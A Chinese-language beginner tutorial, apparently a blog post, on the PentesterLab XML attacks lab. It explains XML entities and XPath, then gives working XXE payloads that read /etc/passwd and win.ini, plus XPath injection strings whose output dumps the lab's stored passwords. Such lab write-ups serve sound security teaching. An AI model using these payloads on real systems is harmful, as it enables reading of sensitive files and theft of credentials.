Web for pentester是国外安全研究者开发的的一款渗透测试平台,个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab 的全套教程,PentesterLab 上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。
系列教程:PentesterLab新手教程(一):代码注入
前言这篇文章将要讲的是XML attacks这个模块。
XML无处不在,它存在于web应用的服务器中,或者在浏览器中作为XMLHttpRequest的请求和应答的格式,亦或在浏览器的扩展程序中。由于应用广泛,XML成为了吸引注入攻击的目标。它受众广,同时常用的XML解析器,例如libxml2,允许对XML进行一些默认处理。libxml2常在DOM、SimpleXML和XMLReader扩展中的PHP中使用。当浏览器的XML交换很频繁时,我们要考虑到,XML作为请求格式时,就算是认证用户,也有可能正通过跨站脚本攻击发送攻击者所编写的XML。
XML允许用户在XML文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的DOCTYPE中,而它们代表的扩展值则可引用一个外部资源。正是普通XML的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受XXE的攻击。
鉴于本篇文章是面向新同学的,那我们就循序渐进,先说一下XML的基本语法,由浅入深得分析XML注入。
什么是XML?XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
XML基本语法一个简单的XML文档
XML使用简单的具有自我描述性的语法:
<?xml version="1.0" encoding="ISO-8859-1"?> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。
下一行描述文档的根元素(像在说:“本文档是一个便签”):
<note>接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body):
<to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body>最后一行定义根元素的结尾:
</note>从本例可以设想,该 XML 文档包含了 John 给 George 的一张便签。
注:
XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。
XML所有的标签都必须关闭
<p>This is a paragraph</p>XML对大小写敏感
<Message>这是错误的。</message><message>这是正确的。</message>
XML属性值需要加引号
错误: <note date=08/08/2008> <to>George</to> <from>John</from> </note> 正确: <note date="08/08/2008"> <to>George</to> <from>John</from> </note>上面说完了基础知识下面要说重点了:
ENTITY实体:
如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个ENTITY,然后再在文档中调用它。
XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种在为参数在DTD文件中使用。
ENTITY的定义语法:
<!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]> 定义好的ENTITY在文档中通过“&实体名;”来使用。这里举一个例子:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name "Tom" > ]> <root> <name>&name;</name> </root>定义一个name值为“Tom”,就可以在XML任何地方引用。
正常来说,DTD分为内部DTD与外部DTD,内部DTD包含在XML文档中,外部DTD则通过URL引用.一个DTD文件是以.dtd结尾的文本文件 。前面还要加上SYSTEM,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。
下面分别写一个简单的Windows下和Linux下的构造(主要就是读取文件位置不同)。
window:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///c:/windows/win.ini" > ]> <name>&name;</name>Linux:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE balabala [ <!ENTITY name SYSTEM "file:///etc/passwd" > ]> <name>&name;</name> #p#分页标题#e#好了,基础知识差不多就是这些了,下面看一下PentesterLab的题。
Example 1 后端代码 <?php require_once("../header.php"); ?>Hello <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?> <?php require_once("../footer.php"); ?>
simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。
print_r()可以把字符串和数字简单地打印出来,而数组则以括起来的键和值得列表形式显示,并以Array开头。但print_r()输出布尔值和NULL的结果没有意义,因为都是打印”\n”。因此用var_dump()函数更适合调试。打印关于变量的易于理解的信息,如果给出的是 string、integer 或 float,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。 记住,print_r() 将把数组的指针移到最后边。使用 reset() 可让指针回到开始处。
利用方法上面了解了函数的基本作用,我们开始尝试一些简单构造,先构造上基框架,并正常显示hello hacker:
?xml=<!DOCTYPE xxx[<!ENTITY name "hacker">]><name>&name</name>成功,然后尝试包含本地敏感文件:
?xml=<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>嗯,成功显示。
注:xml全部要写到一行里,并且要进行url编码。
Example 2 后端代码 <?php require_once("../header.php");$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>"; $xml=simplexml_load_string($x); $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message"; $res = ($xml->xpath($xpath)); while(list( ,$node) = each($res)) { echo $node; } ?> <?php require_once("../footer.php"); ?> 代码分析
在看代码之前先带大家简单学习一下Xpath这个东西,否则肯定会一脸懵逼。
Xpath介绍
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。
XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XPointer 都构建于 XPath 表达之上。
因此,对 XPath 的理解是很多高级 XML 应用的基础。
XPath 使用路径表达式在 XML 文档中进行导航
XPath 包含一个标准函数库
XPath 是 XSLT 中的主要元素
XPath 是一个 W3C 标准
Xpath基本语法
``` 路径表达式 结果 bookstore 选取 bookstore 元素的所有子节点。 /bookstore 选取根元素 bookstore。 bookstore/book 选取属于 bookstore 的子元素的所有 book 元素。 //book 选取所有 book子元素,而不管它们在文档中的位置。 bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。 //@lang 选取名为 lang 的所有属性。 ```注:
/表示从XML文件中的根节点开始解析
//表示在XML文件中匹配已选择的当前节点,且不考虑其位置关系XPath Axes(轴)轴可以定义当前节点的节点集,下面列举了几个常用的。
ancestor 选取当前节点的所有先辈(父、祖父等)。 ancestor-or-self 选取当前节点的所有先辈(父、祖父等)以及当前节点本身。 attribute 选取当前节点的所有属性。 child 选取当前节点的所有子元素。 descendant 选取当前节点的所有后代元素(子、孙等)。 descendant-or-self 选取当前节点的所有后代元素(子、孙等)以及当前节点本身。 following 选取文档中当前节点的结束标签之后的所有节点。 namespace 选取当前节点的所有命名空间节点。 parent 选取当前节点的父节点。
了解了轴,再来了解一下步,下面举几个例子更便于了解:
``` child::book 选取所有属于当前节点的子元素的 book 节点。 attribute::lang 选取当前节点的 lang 属性。 child::* 选取当前节点的所有子元素。 attribute::* 选取当前节点的所有属性。 child::text() 选取当前节点的所有文本子节点。 child::node() 选取当前节点的所有子节点。 descendant::book 选取当前节点的所有 book 后代。 ancestor::book 选择当前节点的所有 book 先辈。 ancestor-or-self::book 选取当前节点的所有 book 先辈以及当前节点(如果此节点是 book 节点) child::*/child::price 选取当前节点的所有 price 孙节点。 ``` 函数分析关于Xpath更深入的解释可以看一下这篇文章:
到这里你Xpath差不多入门了,最后再来看看php中这几个函数具体用法。
list()
list() 函数用于在一次操作中给一组变量赋值。
#p#分页标题#e#举个例子:
<?php $my_array = array("Dog","Cat","Horse"); list($a, $b, $c) = $my_array; echo "I have several animals, a $a, a $b and a $c."; ?> 输出结果: I have several animals, a Dog, a Cat and a Horse.注: 该函数只用于数字索引的数组,且假定数字索引从 0 开始。
each()
each() 函数返回当前元素的键名和键值,并将内部指针向前移动。
该元素的键名和键值会被返回带有四个元素的数组中。两个元素(1 和 Value)包含键值,两个元素(0 和 Key)包含键名。
Xpath()
xpath() 函数运行对 XML 文档的 XPath 查询。
如果成功,则返回包含 SimpleXMLElement 对象的一个数组。如果失败,则返回 false。
这里还是举个例子,因为比较好理解嘛:
foreach($xml->xpath('Name')as $value) { print_r($value); } 说明:在这个Xpath实例中通过Xpath查询指定节点,以数组形式返回其所有的子节点,并通过PHP的print_r函数打印出最终的数组结构。ok了,经过上面一些基础的学习我想你差不多能看懂这多代码了,虽然涉及的东西比较多,但是并不难。
利用方法这里简单分析一下源代码,xml变成如下格式就比较好看了:
<data> <users> <user> <name>hacker</name> <message>Hello hacker</message> <password>pentesterlab</password> </user> <user> <name>admin</name> <message>Hello admin</message> <password>s3cr3tP4ssw0rd</password> </user> </users> </data>可以看到源代码先定义了一个$x变量,里面包含了一个xml。
然后把的 XML 字符串转换为 SimpleXMLElement 对象,并赋值给$res
然后查询了users里user里的name 值为$name的,并返回其所有父节点的message里面的值。
然后执行查询,最后while循环显示查询的值。
最后的最后,我们尝试构造,还是注入的思路,先尝尝是正确闭合,然后注释掉后面没用的。poc:
?name=hacker']%00 可以看到页面回显正确 注:这里用%00注释如果我们想要得到当前所有相同节点的值,构造永真语句如下:
?name=hacker' or 1=1]%00 页面回显: hackeradmin尝试查询当前节点的子节点:
?name=hacker' or 1=1]/child::node()%00 页面回显: hackeradmin 可以看到并没有得到子节点信息,说明可能这个节点往下没有子节点了。 注:child::node() 查询当前节点的所有子节点尝试查询当前节点的兄弟节点,通过查询当前节点父节点的所有子节点来实现:
?name=hacker' or 1=1]/parent::*/child::node()%00 页面回显: hackerHello hackerpentesterlabadminHello admins3cr3tP4ssw0rd 查询到当前节点兄弟节点的所有数据。上面的回显中,我们猜测其中一个节点的看起来应该是密码,用下面的方法验证一下:
?name=hacker' or 1=1]/parent::*/password%00 页面回显: pentesterlabs3cr3tP4ssw0rd 可以看到确实就是密码,结合上一个查询的回显可知道密码分别是`pentesterlab`和`3cr3tP4ssw0rd` 总结还是那句话,XML无处不在:它存在于web应用的服务器中,或者在浏览器中作为XMLHttpRequest的请求和应答的格式,亦或在浏览器的扩展程序中。现在网站基本上对sql注入防御都很到位,但是对于那些使用xml的网站,极有可能存在xml注入。
虽然xml并不常见,但是并不妨碍了解一种方法嘛。
文章考虑到新同学看到xml注入可能会有点迷,所以是真的真的写的比较详细了。
下一篇文章将会讲一下File include& file upload
最后如果你有更好的实现方法或者骚操作亦或者是我有不足需要改进的地方,欢迎大牛指出。如果有新同学那个地方有疑问欢迎评论区指出,谢谢。